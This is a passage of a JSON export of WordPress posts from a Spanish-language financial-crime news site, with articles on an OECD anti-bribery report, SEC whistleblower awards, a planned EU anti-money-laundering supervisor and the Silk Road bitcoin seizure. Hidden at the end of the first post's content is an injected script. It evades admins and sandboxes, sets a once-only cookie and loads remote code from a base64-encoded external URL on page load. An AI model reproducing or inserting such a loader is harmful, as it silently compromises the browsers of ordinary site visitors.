reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada 